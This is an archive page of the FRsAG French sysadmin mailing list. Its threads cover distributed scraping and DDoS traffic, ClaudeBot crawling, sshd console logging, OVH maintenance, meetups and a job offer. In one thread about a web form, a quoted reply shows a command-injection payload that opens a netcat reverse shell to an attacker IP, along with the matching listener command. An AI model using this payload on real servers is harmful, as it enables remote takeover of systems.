- FRsAG - frsag.org

Bloquer attaque http, ip multiple
by David M 28 Jun '24

28 Jun '24

Bonjour à tous, J'ai de plus en plus (chez moi ou chez des clients) d'aspiration de contenu et/ou /d'attaque DDoS un peu pauvre (difficile à dire) et c'est difficile à contrer parce que ça vient de pool d'IP qui change quasi à chaque requête :/ * X.Y.202.142 * X.Y.65.224 * X.Y.96.202 * Z.A.202.138 * Z.A.65.196 * Z.A.96.206 Bien sûr ce sont des IP qui provient de Singapour, de Russie... du trafic illégitime au vu des requêtes / du nombres... Et ça génère de gros ralentissements/fait monter le load bien fort et les requêtes légitimes n'ont plus de place... Pour l'instant je monitore et je bloque des subnet entier (exemple X.Y.0.0/24) Vous vous doutez bien que j'ai pas vraiment envie d'aller vers des trucs à la cloudflare... mais existe-t-il un équivalent "self hosted" et libre ? L'idée de bloquer le trafic par pays ici n'est pas envisageable en plus d'être extrêmement peu fiable... *Une idée serait de faire un programme qui fait ce que je fais. À savoir consulter le server-status et émettre des hypothèses de trafic illégitime + bloquer celui-ci. Mais ça existe peut-être déjà ?* Note : j'ai pas la main sur les connexions réseaux...ce sont des VPS et/ou des Proxmox avec des LXC qui ce fond attaquer... David -- https://retzo.net/ Tél port : 0663691604 Tél fix : 0972199940 Lundi|Mardi|Jeudi 9h30-16h ou Mercredi|Vendredi 9h30-12h

6 5

Apéro Lyonnais : lundi 01 juillet 2024
by Camille 28 Jun '24

28 Jun '24

Bonjour Pour finir l'année (scolaire, pourrie, pré estivale, ...), c'est bien lundi prochain qu'aura lieu notre prochain apéro. Ensuite on se reverra soit en septembre, soit en octobre, selon la motivation suivant les congés de chacun(e). Vous êtes attendu lundi prochain pour un apéro lyonnais et ses environs au : Malting-Pot 263 Grande Rue de la Guillotiere, 69007 soit ce lundi 1 juillet 2024 dès 19h. Et toujours vaguement des infos sur : http://www.agendadulibre.org/tags/araas https://www.meetup.com/fr-FR/Auvergne-Rhone-Alpes-Apero-Admin-Sys/ Km

1 0

Scaleway Dedibox - mise a jour 20.04 vers 22.04 - erreur 404
by Frederic Dumas 07 Jun '24

07 Jun '24

Bonjour à tous, pas d'autre solution que d'abandonner le dépôt mirrors.online.net/ubuntu et de repasser sur fr.archive.ubuntu.com/ubuntu pour mettre à jour une dedibox de 20.04 vers 22.04. Autrement, j'avais systématiquement l'erreur ci-dessous. Ça ressemble à un problème de configuration des dépôts miroirs. Est-ce un problème observé par d'autres ? -- Frédéric Dumas f.dumas(a)ellis.siteparc.fr Error during update A problem occurred during the update. This is usually some sort of network problem, please check your network connection and retry. E:Failed to fetch http://mirrors.online.net/ubuntu/dists/jammy/main/binary-i386/Packages 404 Not Found [IP: 51.159.47.195 80], E:Failed to fetch http://mirrors.online.net/ubuntu/dists/jammy-updates/main/binary-i386/Packa… 404 Not Found [IP: 51.159.47.195 80], E:Failed to fetch http://mirrors.online.net/ubuntu/dists/jammy-backports/main/binary-i386/Pac… 404 Not Found [IP: 51.159.47.195 80], E:Some index files failed to download. They have been ignored, or old ones used instead. Restoring original system state Aborting

3 4

Apéro Lyonnais : lundi 03 juin 2024
by Camille 03 Jun '24

03 Jun '24

Bonjour Pour ce mois ci, c'est bien ce soir qu'aura lieu notre prochain apéro. Et comme vous pouvez le constater, j'ai bien pris en compte vos retours pour vous prévenir en avance ... Je vous attends donc ce soir soir pour un apéro lyonnais et ses environs au : Malting-Pot 263 Grande Rue de la Guillotiere, 69007 soit ce lundi 3 juin 2024 dès 19h. Et toujours vaguement des infos sur : http://www.agendadulibre.org/tags/araas https://www.meetup.com/fr-FR/Auvergne-Rhone-Alpes-Apero-Admin-Sys/ Km

1 0

Re: Attaques http tous azimuts en hausse ou pas ?
by darcosion＠protonmail.com 24 May '24

24 May '24

Bonjour, Enfin un sujet sur lequel je peux apporter mon expertise :) Vu la description, cela ressemble à un ciblage test de l'attaquant pour valider son "botnet" et par la suite, le monétiser. C'est le fait que ça soit hyper ponctuel qui me dise cela, en général un vrai attaquant DDOS essaiera de mettre à terre l'infra sur plusieurs heures/jours au minimum. Après, comme dit M. Ponzone, cible, pattern, forme des attaquants, toute indice est bon à prendre pour qualifier cela. A ta dispo pour en discuter dans le détail o/ Bien cordialement, Darcosion > Le vendredi 24 mai 2024 à 13:30, Daniel Caillibaud ml(a)lairdutemps.org a écrit : > > > Bonjour, > > > > Je bosse pour une asso qui n'a rien de politique ni d'essentiel, et on se prend depuis qq jours > > bcp d'attaques dDOS très bourrines mais très distribuées (des centaines d'ip ≠ qui passent sous > > les radars anti-dos avec 3~10 req/s chacune). > > > > Ça reste ponctuel (des tranches de 5min) et cause peu de dégâts (des erreurs 50x et un load qui > > monte un peu), je me demandais si c'était généralisé. > > > > -- > > Daniel > > > > Internet permet à ceux qui n'ont rien à dire de le dire quand même. > > Toorop > > _______________________________________________ > > Liste de diffusion du %(real_name)s > > http://www.frsag.org/

3 6

Re: Attaques http tous azimuts en hausse ou pas ?
by darcosion＠protonmail.com 24 May '24

24 May '24

Bonjour, Oui, je confirme, ClaudBot est un acteur que nous avons vu apparaitre depuis plusieurs mois sur l'ensemble de nos clients (qui pour le coup sont extrêmement variés !). Vu le comportement de scrapping du Bot et son origine, notre hypothèse actuelle est qu'il s'agit d'une entreprise "IA" qui est en train de collecter tout internet pour se constituer un gros dataset pour l'apprentissage de son LLM (sans respecter aucune règle bien évidemment). Chez nous, nous avons purement et simplement bloqué ClaudBot et sommes en cours de création d'une réponse à la collecte sous la forme de pollution de leur dataset, l'idée c'est que si quelqu'un prompt quelque chose en rapport avec un de nos [CLIENT] le token ClaudBot donnera "[CLIENT] ne tolère pas la collecte de Bot LLM mais il laisse la possibilité de contacter depuis cette adresse web". Bien cordialement, Darcosion > Le vendredi 24 mai 2024 à 14:27, Pierre DOLIDON sn4ky(a)sn4ky.net a écrit : > > > de mon côté, j'ai surtout remarqué un trafic intempestif provenant de > > ClaudeBot, qui va carrément ignorer le Crawl-Delay qu'on a pu mettre > > dans les robots.txt, venant à coup de plusieurs dizaines de requetes par > > secondes, particulièrement dans les champs de recherche des sites > > (souvent trop mal optimisés).. mettant les sites en PLS.... > > https://www.google.com/search?q=ClaudeBot > > a priori je suis pas le seul concerné ! > > > > Le 24/05/2024 à 13:49, David Ponzone a écrit : > > > > > C’est quoi la cible ? > > > Une IP exposée (site web ou autre), ou random ? > > > > > > Les sources sont random ? Spoofées ? géo-filtrables ? > > > > > > David > > > > > > > Le 24 mai 2024 à 13:30, Daniel Caillibaud ml(a)lairdutemps.org a écrit : > > > > > > > > Bonjour, > > > > > > > > Je bosse pour une asso qui n'a rien de politique ni d'essentiel, et on se prend depuis qq jours > > > > bcp d'attaques dDOS très bourrines mais très distribuées (des centaines d'ip ≠ qui passent sous > > > > les radars anti-dos avec 3~10 req/s chacune). > > > > > > > > Ça reste ponctuel (des tranches de 5min) et cause peu de dégâts (des erreurs 50x et un load qui > > > > monte un peu), je me demandais si c'était généralisé. > > > > > > > > -- > > > > Daniel > > > > > > > > Internet permet à ceux qui n'ont rien à dire de le dire quand même. > > > > Toorop > > > > _______________________________________________ > > > > Liste de diffusion du %(real_name)s > > > > http://www.frsag.org/ > > > > _______________________________________________ > > > > Liste de diffusion du %(real_name)s > > > > http://www.frsag.org/ > > > > _______________________________________________ > > Liste de diffusion du %(real_name)s > > http://www.frsag.org/

1 0

Attaques http tous azimuts en hausse ou pas ?
by Daniel Caillibaud 24 May '24

24 May '24

Bonjour, Je bosse pour une asso qui n'a rien de politique ni d'essentiel, et on se prend depuis qq jours bcp d'attaques dDOS très bourrines mais très distribuées (des centaines d'ip ≠ qui passent sous les radars anti-dos avec 3~10 req/s chacune). Ça reste ponctuel (des tranches de 5min) et cause peu de dégâts (des erreurs 50x et un load qui monte un peu), je me demandais si c'était généralisé. -- Daniel Internet permet à ceux qui n'ont rien à dire de le dire quand même. Toorop

3 2

Apéro Lyonnais : lundi 13 mai 2024
by Camille 13 May '24

13 May '24

Bonjour Pour ce mois ci, on aura une semaine de retard, et c'est donc ce soir ce lundi 13 mai qu'aura lieu le prochain apéro. Je vous attends donc ce soir soir pour un apéro lyonnais et ses environs au : Malting-Pot 263 Grande Rue de la Guillotiere, 69007 soit ce lundi 13 mai 2024 dès 19h. Et toujours vaguement des infos sur : http://www.agendadulibre.org/tags/araas https://www.meetup.com/fr-FR/Auvergne-Rhone-Alpes-Apero-Admin-Sys/ Km

1 0

systemd networkd et L2TP
by Tr4sK 09 May '24

09 May '24

Bonjour, Ca fait quelques temps que je me gratte la tête sur la création d'un NetDev l2tp avec systemd-networkd Je commence le ficher par [NetDev] Kind=l2tp Je parcours la doc et ajoute les options pour l2tpEncapsulationType=ip. Mais je ne vois rien arriver de pertinent dans les logs. Est-ce que quelqu'un à déja réussi à le faire tomber en marche ? J'y arrive avec les commandes ip l2tp Quelques traces de ma config et quelques tests https://paste.sh/fiKH_IFO#g9yTHCsiJYj-bccB3l3HP8uo Et pour info, j'ai tenté une mise à jour de systemd vers stable-backports sans amélioration visible. systemd/stable-backports,now 254.5-1~bpo12+3 amd64 [installé] systemd/stable 252.22-1~deb12u1 amd64 Bon weekend :)

1 0

[Kimsufi] Migration vers OVHCloud Eco
by Michaël Costa 04 May '24

04 May '24

Bonjour à toutes et tous, J'ai récemment commandé un nouveau serveur Kimsufi en complément des deux serveurs dédiés que je loue déjà et j'ai été surpris de m'apercevoir que ce nouveau serveur n'apparaît pas dans le dashboard de mon compte Kimsufi mais dans celui de mon compte OVHCloud. D'après la KB0043466 https://help.ovhcloud.com/csm/fr-dedicated-servers-ovhcloud-control-panel-g…, il semble que les gammes Kimsufi et So you Start soient dorénavant regroupées sous la dénomination "Eco" d'OVHCloud. Ça fait sens d'un point de vue business et en tant que tel cela ne me pose pas plus de problème que ça mais pour faciliter la gestion de mes serveurs je souhaiterai y accéder au travers d'une interface unique. Je n'ai trouvé aucune KB qui expliquerait comment migrer un serveur existant de Kimsufi à OVHCloud Eco pas plus que de bouton pour "exporter" ou "importer" de l'un vers l'autre mais je suis peut-être passé à coté. Quelqu'un sur cette liste saurait-il si c'est possible ? Si oui, comment faire ? Autres questions: - Si l'objectif d'OVH est de rationaliser/uniformiser la gestion de ces espaces clients et de ces offres, une migration automatique vers le dashboard OVHCloud est-elle prévue ? Si oui, à quelle échéance ? Merci pour vos réponses éclairées. -- Michaël Costa MCO System https://www.mcos.nc Architecture et administration système Unix/Linux DevOps, Formation et Maintien en Condition Opérationnelle Mail: michael.costa(a)mcos.nc GSM: +687 71 32 33

2 2

Re: [SPAM] Re: Filtrage de message au runtime
by Ludovic Levet 02 May '24

02 May '24

Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ... Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ... Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd Ludo. Nop, ca marche pas. Le 02/05/2024 à 06:45, Julien Reitzel a écrit : > Hello, > > au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : > ; nc <IP attaquant> 5555 -e /bin/bash > > du côté attaquant lancer : > $ nc -lvp 5555 > > Et voilà un reverse shell simpliste qui contourne l'auth ssh. > > -- ------------------------------------------------------------------------------------------------------------------------- Ce message inclut une signature numérique. Il certifie que l'expéditeur et le contenue du message sont authentiques. Si votre logiciel de messagerie est compatible, Il doit garantir que le document n'a pas été altéré entre l'instant où l'auteur l'a signé et le moment où le lecteur le consulte. Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3, 1316-4 du Code civil. La présence d'un fichier joint 'smime.p7s' (fichier signature) indique que votre client messagerie n'est pas compatible. -------------------------------------------------------------------------------------------------------------------------

4 6

Toc toc un support de chez Gandi ?
by Théo VARIER 02 May '24

02 May '24

Bonjour la liste, c'est une bouteille à la mer : Y a t il quelqu'un de chez Gandi sur cette liste ? Gandi m'a fourni un certificat SSL Std pour un domain sans le sous domaine www. C'est à dire que le certificat est valide pour domain.tld mais pas www.domain.tld Même en régénérant le certificat en utilisant leur ligne de commande pour générer la requête. C'est une première depuis que le service existe ! Pas de réponse à mon ticket depuis hier. Le chat en ligne ne fonctionne pas. Le telephone répond qu'il faut utiliser le formulaire en ligne ... sont ils eux aussi devenus décérébrés, pardon je veux dire, inaccessibles ? En tout cas ils sont devenus complètement hors sol en un temps record ! NB : Aller voir ailleurs n'est pas encore le projet. Merci d'avance Théo VARIER

20 52

Re: Filtrage de message au runtime
by Ludovic Levet 02 May '24

02 May '24

C'est pas faux. C'est jamais une bonne idée de donner des commandes accessible par apache. Bon après, il y a la sécurité filesystem qui fera que ce user (apache) ai le même pourvoir qu'un user lamda sur ton linux et de plus les commandes ne peuvent être utilisées que par le core apache car le mod_security ne permet pas d'utilisé quoique ce soit. Elle en aura fait du chemin cette petite chauves-souris. Et surtout sans déclencher le fail2ban (avec alertes qui vont biens) sur une url qui n'est censée être connu que par des admins. Bref. Rien n'est malheureusement infaillible. Le 01/05/2024 à 22:25, Paul Rolland (ポール・ロラン) a écrit : > Bonjour, > > On Wed, 1 May 2024 21:33:42 +0200 > Ludovic LEVET via FRsAG <frsag(a)frsag.org> wrote: > >> 3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle >> trouve le code de la porte , elle connaisse l’étage de ton appart et >> qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au >> ssh et ben il lui reste plus qu'a attaquer l'auth ssh ... > Elle aura surement plus envie de regarder ce que le sudo sur echo et sed > peut lui permettre via apache et la page web ;) > > Paul >

2 2

[frsag.org] E-mail de réinitialisation de mot de passe
by greg＠frsag.org 02 May '24

02 May '24

Bonjour, c'est frsag.org ! You are receiving this e-mail because you or someone else has requested a password for your user account. However, we do not have any record of a user with email frsag(a)frsag.org in our database. This mail can be safely ignored if you did not request a password reset. If it was you, you can sign up for an account using the link below. https://frsag.org/accounts/signup/ Merci d'utiliser frsag.org ! frsag.org

1 0

Re: [SPAM] Re: [SPAM] Re: Filtrage de message au runtime
by Laurent Barme 02 May '24

02 May '24

Le 02/05/2024 à 09:16, Luc Bégault via FRsAG a écrit : > il me parrait préférable de se reposer sur du code trés surveillé comme ssh A propos, est-ce que la faille concernant lzma a été corrigée ? Y a-t-il une meilleure source d'infirmation que https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1068024 ? Sur ce fil le dernier message date du 22 avril sans qu'il soit clair (du moins pour moi) que le problème soit résolu…

1 0

Filtrage de message au runtime
by Stéphane Rivière 01 May '24

01 May '24

Bonjour à toutes et tous, J'ai, comme tout le monde j'imagine, de la brute force via ssh, qui déclenche le très agaçant message en console "fatal: Read from socket failed: Connection reset by peer [preauth]" Ici y'a que de la clé (et passwords invalidés) je ne peux pas filtrer sur les IP entrantes, ni changer le port 22, le plus simple me semble donc d'ignorer la chose. J'ai googlé et ducké sans succès pour voir s'il y avait un moyen de dire au démon sshd de limiter sa prose aux fichiers de logs sans polluer la console. man sshd ou man sshd_config ne m'ont rien dit de sympa (mais j'ai peut être raté une ligne). Avez-vous une opinion ? Ça serait bien de faire un ménage de printemps :) -- Stéphane Rivière Ile d'Oléron - France

10 24

OVH Maintenance éléctrique avec coupure possible sur GRA1&GRA2 le 29/04 & 02/05
by Maximilien Douchet 26 Apr '24

26 Apr '24

Bonjour, Loin de moi l'idée de créer un vent de panique avec le tag [ALERT] mais je pense que cela pourrait intéresser du monde vu l'impact potentiel de la maintenance. (Désolé également pour le doublon sur FRnOG D'après une communication de leur part il semblerais que OVH viens de planifier en urgence une maintenance électrique dans l’intégralité de ses datacenters de Gravelines (GRA1, GRA2, GRA3 & GRA4) les 29/04 et 02/05 (lundi et jeudi de la semaine prochaine S18). Un risque de coupure électrique est envisagé sur au moins les datacenters GRA1 & GRA2 d'après leur communication pendant toute la journée du 29/04 et 02/05 de 8h-16h CEST. Avec un tel risque il est préférable de procéder a une extinction des serveurs au préalable durant les deux journées de maintenance. Il n'y a pas de précisions supplémentaires quand aux serveurs double-alimentés, etc. j'imagine qu'ils sont également concernés par mesure de prudence. Une maintenance de ce type avec coupure dans un délai aussi court est aussi inédite qu'exceptionnelle je suppose que cela est fait pour des raisons très importantes. Vu la capacité des datacenters de Gravelines cela doit concerner (avec une estimation au doigt mouillé) entre 50 000 et 100 000 serveurs. J'imagine que certaines dispositions peuvent être a prendre pour les infrastructures n'étant pas redondées en dehors des datacenters de Gravelines ou au moins pour préserver vos serveurs avec une extinction préalable. Communication OVH : ****FR**** Cher client, Nous devons effectuer une maintenance électrique préventive sur le site de Gravelines la semaine prochaine. Celle-ci se déroulera en 2 étapes, avec une première opération le 29 avril 2024, et une seconde le 2 mai 2024. Cette maintenance touche les serveurs hébergés dans les environnements de Gravelines (GRA1, GRA2, GRA3 et GRA4). Aucun impact n’est attendu sur le périmètre GRA3 et GRA4. Concernant le périmètre GRA1 et GRA2, un risque de coupure électrique a été identifié. Pour vous prémunir de tout impact, nous vous conseillons au préalable d’éteindre vos machines avant chacune des opérations mentionnées ci-dessous : Opération de maintenance (No1) : Créneau : 29/04/2024 de 06:00 UTC à 14:00 UTC Datacenter : Gravelines (GRA1 / GRA2) Impact attendu : Certains serveurs pourraient subir une interruption électrique Page Status : https://network.status-ovhcloud.com/incidents/f8yhd573wk5j Opération de maintenance (No2) : Créneau : 02/05/2024 de 06:00 UTC à 14:00 UTC Datacenter : Gravelines (GRA1 / GRA2) Impact attendu : Certains serveurs pourraient subir une interruption électrique Page Status : https://network.status-ovhcloud.com/incidents/172569g1l20w Nos équipes Datacenter et Support seront mobilisées durant toute la maintenance afin de résoudre tout impact sur vos services. Nous nous excusons par avance pour toute gêne occasionnée. Sincèrement, — Maximilien Douchet Hexanode - Hébergement & Infogérance hexanode.fr - contact(a)hexanode.fr - +339 72 60 54 00

2 4

Re: Filtrage de message au runtime
by David Ponzone 25 Apr '24

25 Apr '24

Paul, Alors oui, j’aurais été tenté de penser pareil, mais je vois que mon sshd sur une Debian classique log déjà vers AUTH.INFO, alors que les lignes de conf sont commentées. Donc ça doit être configuré par défaut, donc je sais pas si enlever les commentaires vont supprimer l’envoi des messages au kernel. Faudrait essayer :) David > Le 25 avr. 2024 à 15:16, Paul Rolland (ポール・ロラン) <rol+frnog(a)witbe.net> a écrit : > > Hello, > > On Thu, 25 Apr 2024 14:56:32 +0200 > David Ponzone <david.ponzone(a)gmail.com> wrote: > >> https://unix.stackexchange.com/questions/13019/description-of-kernel-printk… >> <https://unix.stackexchange.com/questions/13019/description-of-kernel-printk…> > > Le chemin complet, c'est pas plutot : > - sshd avec sshd_config qui contient > # Logging > #SyslogFacility AUTH > #LogLevel INFO > > - [r]syslog qui sait interpreter tout ca, et qui envoie, selon les regles, > vers des fichiers et/ou la console > > Aller directement sur les printk level de la console, ca peut le faire, > mais ca risque de masquer d'autres choses. > > Paul >

2 2

[JOBS] Technicien HelpDesk et Systèmes (avec évolution)
by open doc 22 Apr '24

22 Apr '24

Bonjour, je vous partage une offre d’emploi qui sera bientôt publiée. l'offre est situé sur Vernouillet dans le 78. Pour aller plus loin que les critères techniques, je cherche quelqu'un avec un bon tempérament, qui a envie de d'apprendre et de s’investir. Nous sommes une petite structure, Nous sommes agiles, flexibles et disponibles. L'idée est que la personne, au delà de l’aspect HelpDesk, souhaite progresser sur la partie administration système linux, virtualisation, et monitoring. Je prendrai le temps de former pour déléguer afin que je puisse aussi faire évoluer notre outillage vers des socles techniques plus récents. Nous avons embaucher pas mal de jeune dev (23-28 ans), il y a une bonne ambiance et une bonne dynamique. Pour ma part les compétences, l'investissement, l'envie d'apprendre sont plus importants que le diplôme. Après je ne suis pas le seul a décider, mais j'ai mon mot à dire sur le recrutement. Quant au salaire cela sera à négocier avec le DG lors de l'entretien. Vous pouvez me contacter directement sur ce mail avant d'envoyer votre candidature officielle. Voici l'annonce officielle : METEO CONSULT - La Chaîne Météo est la première société française privée et indépendante de prévisions et d'études météorologiques en France. Créée en 1988, nous sommes le seul acteur opérant dans le secteur de la météorologie à maîtriser l'ensemble des canaux de diffusion : Internet, applications mobiles, tablettes, Audiotel, ... et bien sûr la télévision avec La Chaîne Météo, diffusée sur Canal et en streaming. Nos différents sites web (lachainemeteo.com et meteoconsult.fr) et nos applications mobiles La Chaîne Météo et METEO CONSULT Marine (sous iPhone et Android) réalisent plus de 8 millions de pages vues par jour, notamment grâce à la fluidité des développements effectués en interne, à un contenu éditorial réactualisé plusieurs fois par jour et à une infrastructure informatique performante. METEO CONSULT, édite le BLOC MARINE, guide de référence pour la navigation depuis plus de 60 ans, ainsi que ses variantes numériques et son site Nautisme.com, pour les passionnés de nautisme. Sous la responsabilité de votre responsable, vos missions seront d’assister les utilisateurs internes et d’aider à la gestion et à la supervision de nos moyens de production informatique. De formation minimum bac+2, et avec une solide expérience dans un ou des postes similaires, vous devez avoir les compétences suivantes : - une forte expertise du monde Windows (PC et serveur), - une bonne connaissance des systèmes d’exploitation Apple, - une bonne connaissance des environnements Linux (Debian), - une bonne connaissance des langages de script (sh, bash, ksh) Les compétences suivantes seraient un plus : - connaissance des environnements de virtualisation (VmWare), - connaissance des réseaux (CISCO) - connaissance des applicatifs informatiques web (Nginx), du Loadbalancing (HAProxy), - connaissance des outils de supervision comme Nagios, Grafana. - connaissance des baies de stockage (SAN/NAS), - connaissance de l’administration des serveurs de bases de données (MySQL). L'autonomie, le pragmatisme, l'enthousiasme, la rigueur, le dynamisme, la curiosité, la disponibilité, l'esprit d'équipe et la veille technologique sont des qualités requises pour ce poste. Vous êtes orienté client interne et êtes force de proposition quant aux solutions techniques choisies. Vous avez un excellent relationnel et vous savez faire preuve de patience. Vous participerez en alternance avec les autres membres de l'équipe d’exploitation aux astreintes (week-ends et jours fériés). Le poste est basé à Vernouillet (78), véhicule indispensable pour les trajets domicile-travail. Des déplacements en datacenters sont à prévoir. Rémunération en fonction des diplômes et de l'expérience. Poste à pourvoir de suite. Envoyez votre candidature avec la référence MC-HelpDesk-Systèmes-202404 (lettre de motivation et CV) par e-mail à drh(a)meteoconsult.com

1 0

Volume APFS "invalid key order" - une solution connue ?
by Frederic Dumas 10 Apr '24

10 Apr '24

Bonjour à tous, sous macOS, l'utilitaire Apple fsck_apfs constate la corruption d'un volume APFS (volume externe, impossible à monter), mais ne peut le réparer. % sudo fsck_apfs /dev/disk4s1 Password: ** Checking the container superblock. Checking the checkpoint with transaction ID 4278894. ** Checking the EFI jumpstart record. ** Checking the space manager. ** Checking the space manager free queue trees. ** Checking the object map. ** Checking the encryption key structures. ** Checking volume /dev/rdisk4s1. ** Checking the APFS volume superblock. The volume OSX was formatted by newfs_apfs (748.77.8) and last modified by apfs_kext (2235.41.1). ** Checking the object map. error: btn: oid (345621), xid (4278156), type (0x40000003), subtype (0xb), flags (0x6) level (0) error: btn: invalid key order: minkey is less than index 0 (should be equal) minkey : 63 f8 00 00 00 00 00 00 2c f7 0b 00 00 00 00 00 index 0 key : fd a8 57 00 00 00 00 00 08 21 39 00 00 00 00 00 index 1 key : 0e a9 57 00 00 00 00 00 0c e9 3f 00 00 00 00 00 Checking if the parent's minkey can be updated... error: btn: oid (394781), xid (4278888), type (0x40000003), subtype (0xb), flags (0x4) level (1) error: btn: unable to repair minkey Object map is invalid. ** The volume /dev/rdisk4s1 with UUID 95EA38E5-E132-4498-A975-53259C4A7C4C was found to be corrupt and cannot be repaired. ** Verifying allocated space. ** The volume /dev/rdisk4s1 with UUID 95EA38E5-E132-4498-A975-53259C4A7C4C could not be verified completely. Une sauvegarde de ce volume existe. Mais si l'un d'entre vous a été confronté à ce type de corruption et l'a réparé, ses conseils sont les bienvenus; ça peut servir pour une situation future similaire mais sans sauvegarde. Le web ne m'a pas donné grand chose en réponse aux mots clés "error: btn: invalid key order: minkey is less than index 0 (should be equal)". Pour l'anecdote, c'est l'outil "migration" fourni par Apple, lors d'une lecture des données utilisateur de l'ancienne machine, qui a laissé ce volume APFS dans cet état. Seul un accès en lecture aurait pourtant dû être nécessaire sur ce volume APFS. Un "corner case" sans doute. Merci pour vos conseils. -- Frédéric Dumas f.dumas(a)ellis.siteparc.fr

2 1

Re: [FRnOG] [JOBS] Reconversion dans les métiersde l'informatique - Enquête métier
by JM 09 Apr '24

09 Apr '24

Bonjour Teh, On Sat, 6 Apr 2024 01:03:06 +0200 "Teh 'SpyKeeR'" <spykeer(a)gmail.com> wrote: > Tout d'abord, merci à tous ceux qui ont pris de leur temps pour y répondre, > j'ai eu de nombreuses réponses dont pas mal provenant des listes FrNoG, > FrSaG. > Kevin : - "Si tu as besoin de bases, le titre pro technicien supérieur sera > un prérequis pour le diplôme d'admin ( 1 an TP TSSR, 1 an TP admin souvent > en alternance )" > Alors, c'est toute mon interrogation du moment après cette enquête métier, > ai-je suffisamment de bases pour attaquer directement par le TP ASR, par > peur de m'ennuyer, je m'explique : > > Globalement de 11 à 18 ans: (beaucoup) > Tout ceci en autodidacte, donc, je n'avais aucun diplôme, et à cette époque > je pensais qu'il en fallait un obligatoirement pour commencer à travailler … > Je n'ai donc pas été assidu en BTS SIO, je ne venais qu'aux devoirs. J'ai > donc été renvoyé malgré de très bonnes moyennes en matières techniques dés > le milieu de la 1ère année. lol l'école. > J'ai tenté par la suite de poursuivre en redoublant cette première année > par le CNED … > Personnel Encadré inexistant, matières générales proche de 0) Examen > général : 8.61/20. 2eme échec. :-? > J'ai donc par la suite dû subvenir à mes besoins … > Voila pourquoi, j'ai peur de m'ennuyer un bonne partie du TP TSSR. … > Je reconnait que toutes mes bases apprises remontent à 10 ans, que j'ai cessé > ma veille technologique durant tout ce temps, que mon apprentissage n'était > pas cadré et éparpillé, du coup il me manque certaines bases (…) > Merci à vous tous pour l'intérêt que vous avez porté à ma quête de réaliser > un vieux rêve d'enfant :) Vous semblez être dans la boulimie de connaissances et avoir besoin d'une formation diplômante sur mesure. Le tout devrait être cadré pour vous permettre de garder le focus sur votre objectif, et souple pour vous laisser la liberté de vous organiser dans le cursus. Vous pourriez essayer une VAE (Validation des Acquis de l'Expérience). Par exemple le CESI en propose une. Si vous pouvez vous la payer ou la faire financer, ça pourrait peut-être marcher. https://www.cesi.fr/formation/vae-avec-accompagnement-administrateur-trice-… Les prérequis : «La VAE est accessible à toute personne justifiant d'une activité en rapport direct avec le contenu de la certification visée, sans durée minimale d'expérience.» Et pour satisfaire votre boulimie de connaissances entre deux choses voici un index co-construit, de toutes sortes de formations (gratuites, payantes, avec et sans certifications possibles, pouvant être démarrées à date fixe ou à tout moment): https://wonderstudy.github.io/ Peut-être CS50 depuis la plateforme EDX pourrait vous intéresser (si vous êtes à l'aise en anglais). C'est en ligne, des vidéos vivantes, il faut juste avoir de quoi recevoir un bon son pour l'écoute. https://www.edx.org/learn/computer-science/harvard-university-cs50-s-introd… “Topics include abstraction, algorithms, data structures, encapsulation, resource management, security, software engineering, and web development. Languages include C, Python, SQL, and JavaScript plus CSS and HTML. Problem sets inspired by real-world domains of biology, cryptography, finance, forensics, and gaming. ” (la page perso du formateur : https://cs.harvard.edu/malan) Have fun! Joyce MARKOLL -- https://orditux.org https://linuxvillage.org https://sigilence-technologies.com

2 1

Re: [FRnOG] [JOBS] Reconversion dans les métiers de l'informatique - Enquête métier
by David Ponzone 06 Apr '24

06 Apr '24

> Le 6 avr. 2024 à 14:49, Maxime C. <spykeer(a)gmail.com> a écrit : > > > lm2 : "Malheureusement la France tourne au diplôme pour justifier de > compétences" > > C'est ce que je pense aussi, raison pour laquelle j'avais changé de secteur > et abandonné mon projet d'y travailler, pensant que ce que je savais en > autodidacte n'aurait pas suffit à être embauché. > Cependant, j'ai pu avoir des réponses démontrant qu'il est possible même > sans diplôme de commencer en bas de l'organigramme et monter via > différentes formations/certifications/initiatives. > Mais, n'aimant pas vraiment la prise de risque, je préfèrerais obtenir un > diplôme ne serait-ce que pour ma valorisation personnelle et confiance en > moi pour oser taper à la porte des entreprises. > Il ne faut pas être trop pessimiste, les lignes bougent quand même. Pas si on vise le CAC40 évidemment. Je crois me rappeler que quelqu’un a mis une annonce de job sur FRnOG ou FRsAG il y a peu, dans laquelle il précisait que sa boite n'avait rien à faire des diplômes. S’il se reconnait, il pourra peut-être nous donner son point de vue. David

2 1

Apéro Lyonnais : lundi 08 avril 2024
by Camille 05 Apr '24

05 Apr '24

Bonjour Pour ce mois ci, on n'aura pas fait la bonne blague du poisson. Par conséquent c'est bien ce lundi 08 avril qu'aura lieu le prochain apéro. Je vous attends donc lundi soir soir pour un apéro lyonnais et ses environs au : Malting-Pot 263 Grande Rue de la Guillotiere, 69007 soit ce lundi 08 avril 2024 dès 19h. Et toujours vaguement des infos sur : http://www.agendadulibre.org/tags/araas https://www.meetup.com/fr-FR/Auvergne-Rhone-Alpes-Apero-Admin-Sys/ Km

1 0

Recherche urgente de stage
by Maxime Cantero 03 Apr '24

03 Apr '24

